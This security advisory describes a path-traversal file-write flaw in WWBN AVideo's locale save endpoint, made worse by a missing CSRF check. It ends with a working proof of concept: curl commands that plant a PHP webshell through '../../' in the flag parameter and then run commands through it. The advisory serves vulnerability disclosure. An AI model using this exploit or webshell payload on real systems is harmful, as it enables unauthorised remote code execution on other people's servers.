WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

Summary

The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.

Details

In locale/save.php, the vulnerable code path is:

// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
    // ...
    die(json_encode($obj));
}

// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";

// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");

// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);

Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.

The file content is constructed as:

<?php
global $t;
{$_POST['code']}  // attacker-controlled, written verbatim

An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).

CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.

PoC

Direct exploitation (requires admin session):

# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
  -X POST 'https://target/locale/save.php' \
  -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'

# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...